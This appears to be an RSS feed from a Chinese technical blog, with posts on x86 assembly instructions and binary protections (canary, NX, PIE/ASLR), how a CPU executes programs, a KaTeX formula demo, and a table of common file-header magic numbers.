#### MOV（mov）
MOV 指令将数据从源操作数移动到目的操作数。

指令格式为 mov x1（目的操作数）,x2（源操作数）
意为从x2移动数据到×1。
×1，×2可以是：
- ﻿﻿寄存器到寄存器
- ﻿﻿内存到寄存器，寄存器到内存
- ﻿立即数到寄存器，立即数到内存不能从内存直接到内存。

例：


#### LEA（lea）&amp;
LEA （区地址）指令用于载入有效地址。
指令格式为 lea ×1,X2。
x1 可以是r16/32/64，x2 是内存地址，常用［］语法形式，意为引用求值。
常用于指针运算，有时用于数值计算。
例：ebx=0x2  edx=0×1000


#### ADD（add）
ADD指令计算加法操作。
指令格式为 add×1,x2。
x1，x2可以是r/m16，r/m32,r/m64，x2还可以是立即数，但二者不能同时是内存操作数。
指令的计算结果将影响 eflags 寄存器，修改 OF, SF, ZF, AF, PF, CE标志位。

例：

#### SUB（sub）
SUB 指令计算减法操作。

指令格式为 sub ×1，X2。

×1，×2 可以是r/m16,r/m32,r/m64，×2还可以是立即数，但二者不能同时是内存操作数。

指令的计算结果将影响 eflags 寄存器，修改 OF, SF, ZF, AF, PF, CF 标志位。

例：
#### IMUL/MUL（iml/mul）
IMUL指令用于实现有符号数的乘法运算。

三种指令格式：
- ﻿﻿imul r/m32         ;edx:eax=eax * r/m32
- ﻿imul reg, r/m32    ;reg =reg* r/m32
- ﻿imul reg, r/m32, imm  ;reg =r/m32* imm


MUL指令是无符号乘法。

#### IDIV/DIV（idiv/div）
DIV 指令用于实现无符号数的除法运算。

两种指令格式

- ﻿﻿无符号除法，div ax.r/m8 ；ax 除以r/m8，al是商，ah 是余数
- ﻿﻿无符号除法，div ea&amp; r/m32 ;edx:eax 除以 r/m32，eax 是商，edx 是余数
若被除数是 DWORD，在指令执行前 edx 被置为0.

若除数是0，则抛出除零异常.
#### AND（and）
做&amp;（与）运算
AND 指令实现操作数的逻辑与运算。
指令格式为 and x1,x2.
x1.x2可以是r/m16，r/m32，r/m64，x2还可以是立即数，但二者不能同时是内存操作数。
#### OR（or）
做^（或）运算
OR指令实现操作数的逻辑或运算。
指令格式为 orx1,x2.
X1,x2可以是r/m16，r/m32，r/m64，x2 还可以是立即数，但二者不能同时是内存操作数。
#### XOR（xor）
做异或运算
XOR指令实现操作数的异或运算。
指令格式为 xorx1，x2。
×1，x2可以是r/m16，r/m32，r/m64，x2 还可以是立即数，但二者不能同时是内存操作数。

注：XOR常用于清零运算，如xor eex,eax，效率高。
#### NOT（not）
做！（非）运算
#### SHL（shl）
逻辑左移
#### SHR（shr）
逻辑右移
#### JMP（jmp）
无条件的跳转，分三种跳转方式
#### JCC集（jcc）
有条件的跳转

#### CMP（cmp）
CMP指令用于两个操作数的大小比较。
指令格式为CWPX1.x2.
cmp 指令通过将 x1 减去x2 的方式实现比较，根据减法结果设置 eflags 的相应标志位，且将减法结果丢弃。
cmp &lt; —— &gt; sub:
- ﻿﻿以相同的方式进行减法操作，以同样的方式设置 eflags 奇存器
- ﻿﻿但sub 指令将计算结果存入×1，而cmp 指令不保存计算结果修改的 eflags 奇存器标志位有 CF, OF, SF, ZF, AF, PF.
#### TEST（test）

### 保护方式
#### canary（金丝雀）

#### NX

#### PIE和ASLR

|     |                                            |
| --- | ------------------------------------------ |
|     | 在我们编写ROP或者shellcode时，有一个问题是绕不开的，那就是找到函数地址。 |
|     | PIE指的就是程序内存加载基地址随机化，意味着我们不能一下子确定程序的基地址。    |
|     | ASLR与其大同小异，ASLR是程序运行动态链接库、栈等地址随机化。         |
|     | 通常来说，CTF中的PWN题与这两个保护打交道的次数最多。              |
|     | 绕过方式就是泄露函数地址，然后通过函数的偏移来确定基地址。              |

#### RELRO</content:encoded></item><item><title>CPU执行程序详解</title><link>https://goosequill.erina.top/zh-cn/blog/20251020234359/</link><guid isPermaLink="true">https://goosequill.erina.top/zh-cn/blog/20251020234359/</guid><description>CPU执行程序详解 的导入笔记</description><pubDate>Mon, 20 Oct 2025 15:43:00 GMT</pubDate><content:encoded>##  CPU执行程序详解

# 2.1 CPU 是如何执行程序的？

代码写了那么多，你知道 `a = 1 + 2` 这条代码是怎么被 CPU 执行的吗？

软件用了那么多，你知道软件的 32 位和 64 位之间的区别吗？再来 32 位的操作系统可以运行在 64 位的电脑上吗？64 位的操作系统可以运行在 32 位的电脑上吗？如果不行，原因是什么？

CPU 看了那么多，我们都知道 CPU 通常分为 32 位和 64 位，你知道 64 位相比 32 位 CPU 的优势在哪吗？64 位 CPU 的计算性能一定比 32 位 CPU 高很多吗？

不知道也不用慌张，接下来就循序渐进的、一层一层的攻破这些问题。
![image.png](https://chenhun.oss-cn-beijing.aliyuncs.com/photo/202511021506378.png)

---

## # 图灵机的工作方式

要想知道程序执行的原理，我们可以先从「图灵机」说起，图灵的基本思想是用机器来模拟人们用纸笔进行数学运算的过程，而且还定义了计算机由哪些部分组成，程序又是如何执行的。

图灵机长什么样子呢？你从下图可以看到图灵机的实际样子：
![image.png](https://chenhun.oss-cn-beijing.aliyuncs.com/photo/202511021507084.png)



图灵机的基本组成如下：

- 有一条「纸带」，纸带由一个个连续的格子组成，每个格子可以写入字符，纸带就好比内存，而纸带上的格子的字符就好比内存中的数据或程序；
- 有一个「读写头」，读写头可以读取纸带上任意格子的字符，也可以把字符写入到纸带的格子；
- 读写头上有一些部件，比如存储单元、控制单元以及运算单元： 1、存储单元用于存放数据； 2、控制单元用于识别字符是数据还是指令，以及控制程序的流程等； 3、运算单元用于执行运算指令；

知道了图灵机的组成后，我们以简单数学运算的 `1 + 2` 作为例子，来看看它是怎么执行这行代码的。

- 首先，用读写头把 「1、2、+」这 3 个字符分别写入到纸带上的 3 个格子，然后读写头先停在 1 字符对应的格子上；
 ![image.png](https://chenhun.oss-cn-beijing.aliyuncs.com/photo/202511021509763.png)



- 接着，读写头读入 1 到存储设备中，这个存储设备称为图灵机的状态；
 ![image.png](https://chenhun.oss-cn-beijing.aliyuncs.com/photo/202511021509455.png)



- 然后读写头向右移动一个格，用同样的方式把 2 读入到图灵机的状态，于是现在图灵机的状态中存储着两个连续的数字， 1 和 2；
![image.png](https://chenhun.oss-cn-beijing.aliyuncs.com/photo/202511021509068.png)




- 读写头再往右移动一个格，就会碰到 + 号，读写头读到 + 号后，将 + 号传输给「控制单元」，控制单元发现是一个 + 号而不是数字，所以没有存入到状态中，因为 `+` 号是运算符指令，作用是加和目前的状态，于是通知「运算单元」工作。运算单元收到要加和状态中的值的通知后，就会把状态中的 1 和 2 读入并计算，再将计算的结果 3 存放到状态中；

![image.png](https://chenhun.oss-cn-beijing.aliyuncs.com/photo/202511021510155.png)


- 最后，运算单元将结果返回给控制单元，控制单元将结果传输给读写头，读写头向右移动，把结果 3 写入到纸带的格子中；

![image.png](https://chenhun.oss-cn-beijing.aliyuncs.com/photo/202511021510904.png)


通过上面的图灵机计算 `1 + 2` 的过程，可以发现图灵机主要功能就是读取纸带格子中的内容，然后交给控制单元识别字符是数字还是运算符指令，如果是数字则存入到图灵机状态中，如果是运算符，则通知运算符单元读取状态中的数值进行计算，计算结果最终返回给读写头，读写头把结果写入到纸带的格子中。

事实上，图灵机这个看起来很简单的工作方式，和我们今天的计算机是基本一样的。接下来，我们一同再看看当今计算机的组成以及工作方式。

---

## # 冯诺依曼模型

在 1945 年冯诺依曼和其他计算机科学家们提出了计算机具体实现的报告，其遵循了图灵机的设计，而且还提出用电子元件构造计算机，并约定了用二进制进行计算和存储。

最重要的是定义计算机基本结构为 5 个部分，分别是**运算器、控制器、存储器、输入设备、输出设备**，这 5 个部分也被称为**冯诺依曼模型**。

![image.png](https://chenhun.oss-cn-beijing.aliyuncs.com/photo/202511021510692.png)


运算器、控制器是在中央处理器里的，存储器就我们常见的内存，输入输出设备则是计算机外接的设备，比如键盘就是输入设备，显示器就是输出设备。

存储单元和输入输出设备要与中央处理器打交道的话，离不开总线。所以，它们之间的关系如下图：

![image.png](https://chenhun.oss-cn-beijing.aliyuncs.com/photo/202511021506781.png)



接下来，分别介绍内存、中央处理器、总线、输入输出设备。

### # 内存

我们的程序和数据都是存储在内存，存储的区域是线性的。

在计算机数据存储中，存储数据的基本单位是**字节（_byte_）**，1 字节等于 8 位（8 bit）。每一个字节都对应一个内存地址。

内存的地址是从 0 开始编号的，然后自增排列，最后一个地址为内存总字节数 - 1，这种结构好似我们程序里的数组，所以内存的读写任何一个数据的速度都是一样的。

### # 中央处理器

中央处理器也就是我们常说的 CPU，32 位和 64 位 CPU 最主要区别在于一次能计算多少字节数据：

- 32 位 CPU 一次可以计算 4 个字节；
- 64 位 CPU 一次可以计算 8 个字节；

这里的 32 位和 64 位，通常称为 CPU 的位宽，代表的是 CPU 一次可以计算（运算）的数据量。

之所以 CPU 要这样设计，是为了能计算更大的数值，如果是 8 位的 CPU，那么一次只能计算 1 个字节 `0~255` 范围内的数值，这样就无法一次完成计算 `10000 * 500` ，于是为了能一次计算大数的运算，CPU 需要支持多个 byte 一起计算，所以 CPU 位宽越大，可以计算的数值就越大，比如说 32 位 CPU 能计算的最大整数是 `4294967295`。

CPU 内部还有一些组件，常见的有**寄存器、控制单元和逻辑运算单元**等。其中，控制单元负责控制 CPU 工作，逻辑运算单元负责计算，而寄存器可以分为多种类，每种寄存器的功能又不尽相同。

CPU 中的寄存器主要作用是存储计算时的数据，你可能好奇为什么有了内存还需要寄存器？原因很简单，因为内存离 CPU 太远了，而寄存器就在 CPU 里，还紧挨着控制单元和逻辑运算单元，自然计算时速度会很快。

常见的寄存器种类：

- _通用寄存器_，用来存放需要进行运算的数据，比如需要进行加和运算的两个数据。
- _程序计数器_，用来存储 CPU 要执行下一条指令「所在的内存地址」，注意不是存储了下一条要执行的指令，此时指令还在内存中，程序计数器只是存储了下一条指令「的地址」。
- _指令寄存器_，用来存放当前正在执行的指令，也就是指令本身，指令被执行完成之前，指令都存储在这里。

### # 总线

总线是用于 CPU 和内存以及其他设备之间的通信，总线可分为 3 种：

- _地址总线_，用于指定 CPU 将要操作的内存地址；
- _数据总线_，用于读写内存的数据；
- _控制总线_，用于发送和接收信号，比如中断、设备复位等信号，CPU 收到信号后自然进行响应，这时也需要控制总线；

当 CPU 要读写内存数据的时候，一般需要通过下面这三个总线：

- 首先要通过「地址总线」来指定内存的地址；
- 然后通过「控制总线」控制是读或写命令；
- 最后通过「数据总线」来传输数据；

### # 输入、输出设备

输入设备向计算机输入数据，计算机经过计算后，把数据输出给输出设备。期间，如果输入设备是键盘，按下按键时是需要和 CPU 进行交互的，这时就需要用到「控制总线」了。

---

## # 线路位宽与 CPU 位宽

数据是如何通过线路传输的呢？其实是通过**操作电压**，低电压表示 0，高压电压则表示 1。

如果构造了高低高这样的信号，其实就是 101 二进制数据，十进制则表示 5，如果只有一条线路，就意味着每次只能传递 1 bit 的数据，即 0 或 1，那么传输 101 这个数据，就需要 3 次才能传输完成，这样的效率非常低。

这样一位一位传输的方式，称为串行，下一个 bit 必须等待上一个 bit 传输完成才能进行传输。当然，想一次多传一些数据，**增加线路**即可，这时数据就可以并行传输。

为了避免低效率的串行传输的方式，线路的**位宽**最好一次就能访问到所有的内存地址。

CPU 想要操作「内存地址」就需要「地址总线」：

- 如果地址总线只有 1 条，那每次只能表示 「0 或 1」这两种地址，所以 CPU 能操作的内存地址最大数量为 2（2^1）个（注意，不要理解成同时能操作 2 个内存地址）；
- 如果地址总线有 2 条，那么能表示 00、01、10、11 这四种地址，所以 CPU 能操作的内存地址最大数量为 4（2^2）个。

那么，想要 CPU 操作 4G 大的内存，那么就需要 32 条地址总线，因为 `2 ^ 32 = 4G`。

知道了线路位宽的意义后，我们再来看看 **CPU 位宽**。

CPU 的位宽最好不要小于线路位宽，比如 32 位 CPU 控制 40 位宽的地址总线和数据总线的话，工作起来就会非常复杂且麻烦，所以 32 位的 CPU 最好和 32 位宽的线路搭配，因为 32 位 CPU 一次最多只能操作 32 位宽的地址总线和数据总线。

如果用 32 位 CPU 去加和两个 64 位大小的数字，就需要把这 2 个 64 位的数字分成 2 个低位 32 位数字和 2 个高位 32 位数字来计算，先加个两个低位的 32 位数字，算出进位，然后加和两个高位的 32 位数字，最后再加上进位，就能算出结果了，可以发现 32 位 CPU 并不能一次性计算出加和两个 64 位数字的结果。

对于 64 位 CPU 就可以一次性算出加和两个 64 位数字的结果，因为 64 位 CPU 可以一次读入 64 位的数字，并且 64 位 CPU 内部的逻辑运算单元也支持 64 位数字的计算。

但是并不代表 64 位 CPU 性能比 32 位 CPU 高很多，很少应用需要算超过 32 位的数字，所以**如果计算的数额不超过 32 位数字的情况下，32 位和 64 位 CPU 之间没什么区别的，只有当计算超过 32 位数字的情况下，64 位的优势才能体现出来**。

另外，32 位 CPU 最大只能操作 4GB 内存，就算你装了 8 GB 内存条，也没用。而 64 位 CPU 寻址范围则很大，理论最大的寻址空间为 `2^64`。

---

## # 程序执行的基本过程

在前面，我们知道了程序在图灵机的执行过程，接下来我们来看看程序在冯诺依曼模型上是怎么执行的。

程序实际上是一条一条指令，所以程序的运行过程就是把每一条指令一步一步的执行起来，负责执行指令的就是 CPU 了。

![image.png](https://chenhun.oss-cn-beijing.aliyuncs.com/photo/202511021510569.png)


那 CPU 执行程序的过程如下：

- 第一步，CPU 读取「程序计数器」的值，这个值是指令的内存地址，然后 CPU 的「控制单元」操作「地址总线」指定需要访问的内存地址，接着通知内存设备准备数据，数据准备好后通过「数据总线」将指令数据传给 CPU，CPU 收到内存传来的数据后，将这个指令数据存入到「指令寄存器」。
- 第二步，「程序计数器」的值自增，表示指向下一条指令。这个自增的大小，由 CPU 的位宽决定，比如 32 位的 CPU，指令是 4 个字节，需要 4 个内存地址存放，因此「程序计数器」的值会自增 4；（同理，64位的CPU指令是8字节，「程序计数器」的值会自增 8）
- 第三步，CPU 分析「指令寄存器」中的指令，确定指令的**类型**和**参数**，如果是计算类型的指令（add），就把指令交给「逻辑运算单元」运算；如果是存储类型的指令（mov），则交由「控制单元」执行；

简单总结一下就是，一个程序执行的时候，CPU 会根据「程序计数器」里的内存地址，从内存里面把需要执行的指令读取到指令寄存器里面执行，然后根据指令长度自增，开始顺序读取下一条指令。

CPU 从程序计数器读取指令、到执行、再到下一条指令，这个过程会不断循环，直到程序执行结束，这个不断循环的过程被称为 **CPU 的指令周期**。

---

## # a = 1 + 2 执行具体过程

知道了基本的程序执行过程后，接下来用 `a = 1 + 2` 的作为例子，进一步分析该程序在冯诺伊曼模型的执行过程。

CPU 是不认识 `a = 1 + 2` 这个字符串，这些字符串只是方便我们程序员认识，要想这段程序能跑起来，还需要把整个程序翻译成**汇编语言**的程序，这个过程称为编译成汇编代码。

针对汇编代码，我们还需要用汇编器翻译成机器码，这些机器码由 0 和 1 组成的机器语言，这一条条机器码，就是一条条的**计算机指令**，这个才是 CPU 能够真正认识的东西。

下面来看看  `a = 1 + 2` 在 32 位 CPU 的执行过程。

程序编译过程中，编译器通过分析代码，发现 1 和 2 是数据，于是程序运行时，内存会有个专门的区域来存放这些数据，这个区域就是&lt;mark&gt;「数据段」&lt;/mark&gt;。如下图，数据 1 和 2 的区域位置：

- 数据 1 被存放到 0x200 位置；
- 数据 2 被存放到 0x204 位置；

注意，数据和指令是分开区域存放的，存放指令区域的地方称为「正文段」。

![image.png](https://chenhun.oss-cn-beijing.aliyuncs.com/photo/202511021511022.png)


编译器会把 `a = 1 + 2` 翻译成 4 条指令，存放到正文段中。如图，这 4 条指令被存放到了 0x100 ~ 0x10c 的区域中：

- 0x100 的内容是 `load` 指令将 0x200 地址中的数据 1 装入到寄存器 `R0`；
- 0x104 的内容是 `load` 指令将 0x204 地址中的数据 2 装入到寄存器 `R1`；
- 0x108 的内容是 `add` 指令将寄存器 `R0` 和 `R1` 的数据相加，并把结果存放到寄存器 `R2`；
- 0x10c 的内容是 `store` 指令将寄存器 `R2` 中的数据存回数据段中的 0x208 地址中，这个地址也就是变量 `a` 内存中的地址；

编译完成后，具体执行程序的时候，程序计数器会被设置为 0x100 地址，然后依次执行这 4 条指令。

上面的例子中，由于是在 32 位 CPU 执行的，因此一条指令是占 32 位大小，所以你会发现每条指令间隔 4 个字节。

而数据的大小是根据你在程序中指定的变量类型，比如 `int` 类型的数据则占 4 个字节，`char` 类型的数据则占 1 个字节。

### # 指令

上面的例子中，图中指令的内容我写的是简易的汇编代码，目的是为了方便理解指令的具体内容，事实上指令的内容是一串二进制数字的机器码，每条指令都有对应的机器码，CPU 通过解析机器码来知道指令的内容。

不同的 CPU 有不同的指令集，也就是对应着不同的汇编语言和不同的机器码，接下来选用最简单的 MIPS 指集，来看看机器码是如何生成的，这样也能明白二进制的机器码的具体含义。

MIPS 的指令是一个 32 位的整数，高 6 位代表着操作码，表示这条指令是一条什么样的指令，剩下的 26 位不同指令类型所表示的内容也就不相同，主要有三种类型R、I 和 J。

![image.png](https://chenhun.oss-cn-beijing.aliyuncs.com/photo/202511021511833.png)


一起具体看看这三种类型的含义：

- _R 指令_，用在算术和逻辑操作，里面有读取和写入数据的寄存器地址。如果是逻辑位移操作，后面还有位移操作的「位移量」，而最后的「功能码」则是再前面的操作码不够的时候，扩展操作码来表示对应的具体指令的；
- _I 指令_，用在数据传输、条件分支等。这个类型的指令，就没有了位移量和功能码，也没有了第三个寄存器，而是把这三部分直接合并成了一个地址值或一个常数；
- _J 指令_，用在跳转，高 6 位之外的 26 位都是一个跳转后的地址；

接下来，我们把前面例子的这条指令：「`add` 指令将寄存器 `R0` 和 `R1` 的数据相加，并把结果放入到 `R2`」，翻译成机器码。

![image.png](https://chenhun.oss-cn-beijing.aliyuncs.com/photo/202511021511427.png)


加和运算 add 指令是属于 R 指令类型：

- add 对应的 MIPS 指令里操作码是 `000000`，以及最末尾的功能码是 `100000`，这些数值都是固定的，查一下 MIPS 指令集的手册就能知道的；
- rs 代表第一个寄存器 R0 的编号，即 `00000`；
- rt 代表第二个寄存器 R1 的编号，即 `00001`；
- rd 代表目标的临时寄存器 R2 的编号，即 `00010`；
- 因为不是位移操作，所以位移量是 `00000`

把上面这些数字拼在一起就是一条 32 位的 MIPS 加法指令了，那么用 16 进制表示的机器码则是 `0x00011020`。

编译器在编译程序的时候，会构造指令，这个过程叫做指令的编码。CPU 执行程序的时候，就会解析指令，这个过程叫作指令的解码。

现代大多数 CPU 都使用来流水线的方式来执行指令，所谓的流水线就是把一个任务拆分成多个小任务，于是一条指令通常分为 4 个阶段，称为 4 级流水线，如下图：

![image.png](https://chenhun.oss-cn-beijing.aliyuncs.com/photo/202511021511637.png)


四个阶段的具体含义：

1. CPU 通过程序计数器读取对应内存地址的指令，这个部分称为 **Fetch（取得指令）**；
2. CPU 对指令进行解码，这个部分称为 **Decode（指令译码）**；
3. CPU 执行指令，这个部分称为 **Execution（执行指令）**；
4. CPU 将计算结果存回寄存器或者将寄存器的值存入内存，这个部分称为 **Store（数据回写）**；

上面这 4 个阶段，我们称为**指令周期（_Instrution Cycle_）**，CPU 的工作就是一个周期接着一个周期，周而复始。

事实上，不同的阶段其实是由计算机中的不同组件完成的：

![image.png](https://chenhun.oss-cn-beijing.aliyuncs.com/photo/202511021512711.png)


- 取指令的阶段，我们的指令是存放在**存储器**里的，实际上，通过程序计数器和指令寄存器取出指令的过程，是由**控制器**操作的；
- 指令的译码过程，也是由**控制器**进行的；
- 指令执行的过程，无论是进行算术操作、逻辑操作，还是进行数据传输、条件分支操作，都是由**算术逻辑单元**操作的，也就是由**运算器**处理的。但是如果是一个简单的无条件地址跳转，则是直接在**控制器**里面完成的，不需要用到运算器。

### # 指令的类型

指令从功能角度划分，可以分为 5 大类：

- _数据传输类型的指令_，比如 `store/load` 是寄存器与内存间数据传输的指令，`mov` 是将一个内存地址的数据移动到另一个内存地址的指令；
- _运算类型的指令_，比如加减乘除、位运算、比较大小等等，它们最多只能处理两个寄存器中的数据；
- _跳转类型的指令_，通过修改程序计数器的值来达到跳转执行指令的过程，比如编程中常见的 `if-else`、`switch-case`、函数调用等。
- _信号类型的指令_，比如发生中断的指令 `trap`；
- _闲置类型的指令_，比如指令 `nop`，执行后 CPU 会空转一个周期；

### # 指令的执行速度

CPU 的硬件参数都会有 `GHz` 这个参数，比如一个 1 GHz 的 CPU，指的是时钟频率是 1 G，代表着 1 秒会产生 1G 次数的脉冲信号，每一次脉冲信号高低电平的转换就是一个周期，称为时钟周期。

对于 CPU 来说，在一个时钟周期内，CPU 仅能完成一个最基本的动作，时钟频率越高，时钟周期就越短，工作速度也就越快。

一个时钟周期一定能执行完一条指令吗？答案是不一定的，大多数指令不能在一个时钟周期完成，通常需要若干个时钟周期。不同的指令需要的时钟周期是不同的，加法和乘法都对应着一条 CPU 指令，但是乘法需要的时钟周期就要比加法多。

&gt; 如何让程序跑的更快？

程序执行的时候，耗费的 CPU 时间少就说明程序是快的，对于程序的 CPU 执行时间，我们可以拆解成 **CPU 时钟周期数（_CPU Cycles_）和时钟周期时间（_Clock Cycle Time_）的乘积**。

![image.png](https://chenhun.oss-cn-beijing.aliyuncs.com/photo/202511021512984.png)


时钟周期时间就是我们前面提及的 CPU 主频，主频越高说明 CPU 的工作速度就越快，比如我手头上的电脑的 CPU 是 2.4 GHz 四核 Intel Core i5，这里的 2.4 GHz 就是电脑的主频，时钟周期时间就是 1/2.4G。

要想 CPU 跑的更快，自然缩短时钟周期时间，也就是提升 CPU 主频，*但是今非彼日，摩尔定律早已失效，当今的 CPU 主频已经很难再做到翻倍的效果了。*

另外，换一个更好的 CPU，这个也是我们软件工程师控制不了的事情，我们应该把目光放到另外一个乘法因子 —— CPU 时钟周期数，如果能减少程序所需的 CPU 时钟周期数量，一样也是能提升程序的性能的。

对于 CPU 时钟周期数我们可以进一步拆解成：「**指令数 x 每条指令的平均时钟周期数（_Cycles Per Instruction_，简称 `CPI`）**」，于是程序的 CPU 执行时间的公式可变成如下：

![image.png](https://chenhun.oss-cn-beijing.aliyuncs.com/photo/202511021512920.png)


因此，要想程序跑的更快，优化这三者即可：

- _指令数_，表示执行程序所需要多少条指令，以及哪些指令。这个层面是基本靠编译器来优化，毕竟同样的代码，在不同的编译器，编译出来的计算机指令会有各种不同的表示方式。
- _每条指令的平均时钟周期数 CPI_，表示一条指令需要多少个时钟周期数，现代大多数 CPU 通过流水线技术（Pipeline），让一条指令需要的 CPU 时钟周期数尽可能的少；
- _时钟周期时间_，表示计算机主频，取决于计算机硬件。有的 CPU 支持超频技术，打开了超频意味着把 CPU 内部的时钟给调快了，于是 CPU 工作速度就变快了，但是也是有代价的，CPU 跑的越快，散热的压力就会越大，CPU 会很容易奔溃。

很多厂商为了跑分而跑分，基本都是在这三个方面入手的哦，特别是超频这一块。

---

## # 总结

最后我们再来回答开头的问题。

&gt; 64 位相比 32 位 CPU 的优势在哪吗？64 位 CPU 的计算性能一定比 32 位 CPU 高很多吗？

64 位相比 32 位 CPU 的优势主要体现在两个方面：

- 64 位 CPU 可以一次计算超过 32 位的数字，而 32 位 CPU 如果要计算超过 32 位的数字，要分多步骤进行计算，效率就没那么高，但是大部分应用程序很少会计算那么大的数字，所以**只有运算大数字的时候，64 位 CPU 的优势才能体现出来，否则和 32 位 CPU 的计算性能相差不大**。
- 通常来说 64 位 CPU 的地址总线是 48 位，而 32 位 CPU 的地址总线是 32 位，所以 64 位 CPU 可以**寻址更大的物理内存空间**。如果一个 32 位 CPU 的地址总线是 32 位，那么该 CPU 最大寻址能力是 4G，即使你加了 8G 大小的物理内存，也还是只能寻址到 4G 大小的地址，而如果一个 64 位 CPU 的地址总线是 48 位，那么该 CPU 最大寻址能力是 `2^48`，远超于 32 位 CPU 最大寻址能力。

&gt; 你知道软件的 32 位和 64 位之间的区别吗？再来 32 位的操作系统可以运行在 64 位的电脑上吗？64 位的操作系统可以运行在 32 位的电脑上吗？如果不行，原因是什么？

64 位和 32 位软件，实际上代表指令是 64 位还是 32 位的：

- 如果 32 位指令在 64 位机器上执行，需要一套兼容机制，就可以做到兼容运行了。但是**如果 64 位指令在 32 位机器上执行，就比较困难了，因为 32 位的寄存器存不下 64 位的指令**；
- 操作系统其实也是一种程序，我们也会看到操作系统会分成 32 位操作系统、64 位操作系统，其代表意义就是操作系统中程序的指令是多少位，比如 64 位操作系统，指令也就是 64 位，因此不能装在 32 位机器上。

总之，硬件的 64 位和 32 位指的是 CPU 的位宽，软件的 64 位和 32 位指的是指令的位宽。

---</content:encoded></item><item><title>KaTeX 公式示例</title><link>https://goosequill.erina.top/zh-cn/blog/katex-demo/</link><guid isPermaLink="true">https://goosequill.erina.top/zh-cn/blog/katex-demo/</guid><description>一篇用于验证 Astro 博客主题 KaTeX 支持是否正常的示例文章。</description><pubDate>Tue, 16 Sep 2025 16:00:00 GMT</pubDate><content:encoded>这是一篇用于验证 KaTeX 是否正常工作的示例文章。

## 行内公式

爱因斯坦质能方程：$E = mc^2$。

当 $a \ne 0$ 时，一元二次方程 $ax^2 + bx + c = 0$ 的解为 $x = \frac{-b \pm \sqrt{b^2 - 4ac}}{2a}$。

## 块级公式

高斯求和公式：

$$
\sum_{i=1}^{n} i = \frac{n(n+1)}{2}
$$

欧拉公式：

$$
e^{i\pi} + 1 = 0
$$

## 矩阵

$$
A =
\begin{bmatrix}
1 &amp; 2 &amp; 3 \\
4 &amp; 5 &amp; 6 \\
7 &amp; 8 &amp; 9
\end{bmatrix}
$$

## 分段函数

$$
f(x) =
\begin{cases}
x^2, &amp; x \ge 0 \\
-x, &amp; x &lt; 0
\end{cases}
$$

## 积分与极限

$$
\int_0^1 x^2\,dx = \frac{1}{3}
$$

$$
\lim_{x \to 0} \frac{\sin x}{x} = 1
$$</content:encoded></item><item><title>常见文件头的hex值</title><link>https://goosequill.erina.top/zh-cn/blog/20250916135048/</link><guid isPermaLink="true">https://goosequill.erina.top/zh-cn/blog/20250916135048/</guid><description>常见文件头的hex值 的导入笔记</description><pubDate>Tue, 16 Sep 2025 05:50:00 GMT</pubDate><content:encoded>##  常见文件头的hex值

下面我将为你提供一份详细、专业且实用的常见文件头标识（Magic Number）指南。

### 一、什么是文件头标识（Magic Number）？

1. **定义**：文件头标识是位于文件开头的一系列特定字节（通常用16进制表示）。它就像一个“数字指纹”或“签名”，用于唯一地标识该文件的类型和格式。
    
2. **作用**：
    
    - **告诉操作系统如何正确处理文件**：当您双击一个文件时，系统会读取其文件头（而非文件扩展名）来决定调用哪个程序来打开它。
        
    - **数字取证与数据恢复**：当文件系统损坏、文件被删除或扩展名被恶意修改时，通过扫描磁盘的原始数据（十六进制值）来寻找文件头，是恢复和识别文件的主要手段。
        
    - **恶意软件分析**：分析可疑文件时，首先查看其文件头可以判断其真实类型（例如，一个看似 `.jpg` 的文件可能实际上是 `.exe` 可执行文件）。
        
    - **网络安全**：WAF（Web应用防火墙）和入侵检测系统（IDS）可以通过检查文件头来过滤非法文件上传，防止 Webshell 等攻击。
        
3. **重要提示**：**文件扩展名（如 .txt, .exe, .jpg）是完全可随意修改的，它不代表文件的真实类型。而文件头位于文件内部，修改它会导致文件损坏，因此更具可靠性。**
    

---

### 二、常见文件类型的文件头标识详解

下面是一个分类整理的表格，包含了最常见和最关键的文件类型。**偏移量通常从文件开头（0x0）算起**。

#### 1. 图片格式 (Image Formats)

| 文件格式            | 常见扩展名             | 文件头 (16进制)                                  | 文件尾 (16进制) | 备注                                                            |
| --------------- | ----------------- | :------------------------------------------ | :--------- | :------------------------------------------------------------ |
|  **JPEG/JFIF**  |  `.jpg`, `.jpeg`  |  `FF D8 FF E0`                              |  `FF D9`   | 最常见的图片格式。开头 `FF D8` 是JPEG开始的标志，`FF E0` 是JFIF应用段的标识。           |
|  **JPEG/Exif**  |  `.jpg`, `.jpeg`  |  `FF D8 FF E1`                              |  `FF D9`   | 由数码相机创建，`FF E1` 表示是Exif应用段。                                   |
|  **PNG**        |  `.png`           |  **`89 50 4E 47 0D 0A 1A 0A`**              | -          |  `50 4E 47` 是字母 &quot;PNG&quot; 的ASCII码，非常容易识别。                         |
|  **GIF**        |  `.gif`           |  **`47 49 46 38`**                          |  `00 3B`   |  `47 49 46 38` 是 &quot;GIF89a&quot; 或 &quot;GIF87a&quot; 的开头部分。                   |
|  **BMP**        |  `.bmp`           |  **`42 4D`**                                | -          |  `42 4D` 是字母 &quot;BM&quot; 的ASCII码。                                    |
|  **WEBP**       |  `.webp`          |  **`52 49 46 46 ?? ?? ?? ?? 57 45 42 50`**  | -          |  `52 49 46 46` 是 &quot;RIFF&quot;，`57 45 42 50` 是 &quot;WEBP&quot;。`??` 代表文件大小字段。 |
|  **TIFF**       |  `.tif`, `.tiff`  |  `49 49 2A 00` (小端) 或 `4D 4D 00 2A` (大端)    | -          | 有两种字节序，开头标识也不同。                                               |

#### 2. 压缩文档格式 (Archive Formats)

| 文件格式       | 常见扩展名    | 文件头 (16进制)                            | 文件尾 (16进制) | 备注                                                                                                        |     |
| ---------- | -------- | :------------------------------------ | :--------- | :-------------------------------------------------------------------------------------------------------- | --- |
|  **ZIP**   |  `.zip`  |  **`50 4B 03 04`**                    | -          |  `50 4B` 是字母 &quot;PK&quot; 的ASCII码（源于创始人Phil Katz）。**这也是 `.docx`, `.xlsx`, `.pptx` 等Office文档的文件头**，因为它们本质上是ZIP压缩包。 |     |
|  **RAR**   |  `.rar`  |  **`52 61 72 21 1A 07 00`** (RAR 4.x) | -          |  `52 61 72 21` 是 &quot;Rar!&quot; 的ASCII码。RAR 5.0 格式开头为 `52 61 72 21 1A 07 01 00`。                                  |     |
|  **7Z**    |  `.7z`   |  **`37 7A BC AF 27 1C`**              | -          |  `37 7A` 是 &quot;7z&quot; 的ASCII码。                                                                                  |     |
|  **GZIP**  |  `.gz`   |  **`1F 8B`**                          | -          | 常用于Linux系统和网络传输压缩。                                                                                        |     |
